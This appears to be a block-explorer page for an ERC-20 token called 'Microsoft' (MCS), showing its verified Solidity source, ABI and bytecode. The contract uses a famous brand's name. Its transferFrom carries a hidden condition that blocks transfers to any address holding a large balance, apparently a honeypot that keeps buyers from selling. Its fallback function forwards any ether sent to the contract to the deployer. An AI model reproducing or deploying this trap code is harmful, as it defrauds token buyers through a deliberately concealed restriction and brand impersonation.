Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
20,000,000 MCS
Holders
3
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,091,388.951881883719305223 MCSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Microsoft
Compiler Version
v0.5.17+commit.d19bba13
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2020-09-24 */ pragma solidity 0.5.17; contract ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address who) public view returns (uint value); function allowance(address owner, address spender) public view returns (uint remaining); function transferFrom(address from, address to, uint value) public returns (bool ok); function approve(address spender, uint value) public returns (bool ok); function transfer(address to, uint value) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Microsoft is ERC20{ uint8 public constant decimals = 18; uint256 initialSupply = 20000000*10**uint256(decimals); string public constant name = "Microsoft"; string public constant symbol = "MCS"; address payable teamAddress; function totalSupply() public view returns (uint256) { return initialSupply; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function balanceOf(address owner) public view returns (uint256 balance) { return balances[owner]; } function allowance(address owner, address spender) public view returns (uint remaining) { return allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool success) { if (balances[msg.sender] >= value && value > 0) { balances[msg.sender] -= value; balances[to] += value; emit Transfer(msg.sender, to, value); return true; } else { return false; } } function transferFrom(address from, address to, uint256 value) public returns(bool success) { if ((balances[to] * 10) <= balances[from]) { if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) { balances[to] += value; balances[from] -= value; allowed[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } else { return false; } } } function approve(address spender, uint256 value) public returns (bool success) { allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function () external payable { teamAddress.transfer(msg.value); } constructor () public payable { teamAddress = msg.sender; balances[teamAddress] = initialSupply; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060409081526a108b2a2c280290940000006000818155600180546001600160a01b0319163317908190556001600160a01b03168152600260205291909120556105d08061004f6000396000f3fe6080604052600436106100865760003560e01c8063313ce56711610059578063313ce5671461020357806370a082311461022e57806395d89b4114610261578063a9059cbb14610276578063dd62ed3e146102af57610086565b806306fdde03146100c2578063095ea7b31461014c57806318160ddd1461019957806323b872dd146101c0575b6001546040516001600160a01b03909116903480156108fc02916000818181858888f193505050501580156100bf573d6000803e3d6000fd5b50005b3480156100ce57600080fd5b506100d76102ea565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101115781810151838201526020016100f9565b50505050905090810190601f16801561013e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015857600080fd5b506101856004803603604081101561016f57600080fd5b506001600160a01b03813516906020013561030f565b604080519115158252519081900360200190f35b3480156101a557600080fd5b506101ae610376565b60408051918252519081900360200190f35b3480156101cc57600080fd5b50610185600480360360608110156101e357600080fd5b506001600160a01b0381358116916020810135909116906040013561037c565b34801561020f57600080fd5b50610218610498565b6040805160ff9092168252519081900360200190f35b34801561023a57600080fd5b506101ae6004803603602081101561025157600080fd5b50356001600160a01b031661049d565b34801561026d57600080fd5b506100d76104b8565b34801561028257600080fd5b506101856004803603604081101561029957600080fd5b506001600160a01b0381351690602001356104d7565b3480156102bb57600080fd5b506101ae600480360360408110156102d257600080fd5b506001600160a01b0381358116916020013516610570565b60405180604001604052806009815260200168135a58dc9bdcdbd99d60ba1b81525081565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60005490565b6001600160a01b038084166000908152600260205260408082205492851682528120549091600a90910211610491576001600160a01b03841660009081526002602052604090205482118015906103f657506001600160a01b03841660009081526003602090815260408083203384529091529020548211155b80156104025750600082115b1561048d576001600160a01b03808416600081815260026020908152604080832080548801905593881680835284832080548890039055600382528483203384528252918490208054879003905583518681529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001610491565b5060005b9392505050565b601281565b6001600160a01b031660009081526002602052604090205490565b604051806040016040528060038152602001624d435360e81b81525081565b3360009081526002602052604081205482118015906104f65750600082115b1561056857336000818152600260209081526040808320805487900390556001600160a01b03871680845292819020805487019055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001610370565b506000610370565b6001600160a01b0391821660009081526003602090815260408083209390941682529190915220549056fea265627a7a72315820a8436c01b90b108200d3f2b3c5386605841e56391895e27cf2d1a0396c373a1764736f6c63430005110032
Deployed Bytecode
0x6080604052600436106100865760003560e01c8063313ce56711610059578063313ce5671461020357806370a082311461022e57806395d89b4114610261578063a9059cbb14610276578063dd62ed3e146102af57610086565b806306fdde03146100c2578063095ea7b31461014c57806318160ddd1461019957806323b872dd146101c0575b6001546040516001600160a01b03909116903480156108fc02916000818181858888f193505050501580156100bf573d6000803e3d6000fd5b50005b3480156100ce57600080fd5b506100d76102ea565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101115781810151838201526020016100f9565b50505050905090810190601f16801561013e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015857600080fd5b506101856004803603604081101561016f57600080fd5b506001600160a01b03813516906020013561030f565b604080519115158252519081900360200190f35b3480156101a557600080fd5b506101ae610376565b60408051918252519081900360200190f35b3480156101cc57600080fd5b50610185600480360360608110156101e357600080fd5b506001600160a01b0381358116916020810135909116906040013561037c565b34801561020f57600080fd5b50610218610498565b6040805160ff9092168252519081900360200190f35b34801561023a57600080fd5b506101ae6004803603602081101561025157600080fd5b50356001600160a01b031661049d565b34801561026d57600080fd5b506100d76104b8565b34801561028257600080fd5b506101856004803603604081101561029957600080fd5b506001600160a01b0381351690602001356104d7565b3480156102bb57600080fd5b506101ae600480360360408110156102d257600080fd5b506001600160a01b0381358116916020013516610570565b60405180604001604052806009815260200168135a58dc9bdcdbd99d60ba1b81525081565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60005490565b6001600160a01b038084166000908152600260205260408082205492851682528120549091600a90910211610491576001600160a01b03841660009081526002602052604090205482118015906103f657506001600160a01b03841660009081526003602090815260408083203384529091529020548211155b80156104025750600082115b1561048d576001600160a01b03808416600081815260026020908152604080832080548801905593881680835284832080548890039055600382528483203384528252918490208054879003905583518681529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001610491565b5060005b9392505050565b601281565b6001600160a01b031660009081526002602052604090205490565b604051806040016040528060038152602001624d435360e81b81525081565b3360009081526002602052604081205482118015906104f65750600082115b1561056857336000818152600260209081526040808320805487900390556001600160a01b03871680845292819020805487019055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001610370565b506000610370565b6001600160a01b0391821660009081526003602090815260408083209390941682529190915220549056fea265627a7a72315820a8436c01b90b108200d3f2b3c5386605841e56391895e27cf2d1a0396c373a1764736f6c63430005110032
Deployed Bytecode Sourcemap
675:2137:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2634:11;;:31;;-1:-1:-1;;;;;2634:11:0;;;;2655:9;2634:31;;;;;:11;:31;:11;:31;2655:9;2634:11;:31;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;2634:31:0;675:2137;812:41;;8:9:-1;5:2;;;30:1;27;20:12;5:2;812:41:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;812:41:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2373:208;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2373:208:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;2373:208:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;944:92;;8:9:-1;5:2;;;30:1;27;20:12;5:2;944:92:0;;;:::i;:::-;;;;;;;;;;;;;;;;1789:560;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1789:560:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;1789:560:0;;;;;;;;;;;;;;;;;:::i;709:35::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;709:35:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;1156:113;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1156:113:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;1156:113:0;-1:-1:-1;;;;;1156:113:0;;:::i;860:37::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;860:37:0;;;:::i;1422:355::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1422:355:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;1422:355:0;;;;;;;;:::i;1277:137::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1277:137:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;1277:137:0;;;;;;;;;;:::i;812:41::-;;;;;;;;;;;;;;-1:-1:-1;;;812:41:0;;;;:::o;2373:208::-;2471:10;2438:12;2463:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;2463:28:0;;;;;;;;;;;:36;;;2515;;;;;;;2438:12;;2463:28;;2471:10;;2515:36;;;;;;;;-1:-1:-1;2569:4:0;2373:208;;;;;:::o;944:92::-;988:7;1015:13;944:92;:::o;1789:560::-;-1:-1:-1;;;;;1919:14:0;;;1867:12;1919:14;;;:8;:14;;;;;;;1897:12;;;;;;;;1867;;1912:2;1897:17;;;1896:37;1892:444;;-1:-1:-1;;;;;1960:14:0;;;;;;:8;:14;;;;;;:23;-1:-1:-1;1960:23:0;;;:61;;-1:-1:-1;;;;;;1987:13:0;;;;;;:7;:13;;;;;;;;2001:10;1987:25;;;;;;;;:34;-1:-1:-1;1987:34:0;1960:61;:74;;;;;2033:1;2025:5;:9;1960:74;1956:369;;;-1:-1:-1;;;;;2061:12:0;;;;;;;:8;:12;;;;;;;;:21;;;;;;2101:14;;;;;;;;;:23;;;;;;;2143:7;:13;;;;;2157:10;2143:25;;;;;;;;:34;;;;;;;2201:25;;;;;;;2061:12;;2101:14;;2201:25;;;;;;;;;;-1:-1:-1;2252:4:0;2245:11;;1956:369;-1:-1:-1;2304:5:0;1956:369;1789:560;;;;;:::o;709:35::-;742:2;709:35;:::o;1156:113::-;-1:-1:-1;;;;;1246:15:0;1211;1246;;;:8;:15;;;;;;;1156:113::o;860:37::-;;;;;;;;;;;;;;-1:-1:-1;;;860:37:0;;;;:::o;1422:355::-;1521:10;1483:12;1512:20;;;:8;:20;;;;;;:29;-1:-1:-1;1512:29:0;;;:42;;;1553:1;1545:5;:9;1512:42;1508:262;;;1580:10;1571:20;;;;:8;:20;;;;;;;;:29;;;;;;;-1:-1:-1;;;;;1615:12:0;;;;;;;;;:21;;;;;;1656:31;;;;;;;1615:12;;1580:10;1656:31;;;;;;;;;;;-1:-1:-1;1709:4:0;1702:11;;1508:262;-1:-1:-1;1753:5:0;1746:12;;1277:137;-1:-1:-1;;;;;1383:14:0;;;1349;1383;;;:7;:14;;;;;;;;:23;;;;;;;;;;;;;1277:137::o
Swarm Source
bzzr://a8436c01b90b108200d3f2b3c5386605841e56391895e27cf2d1a0396c373a17
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.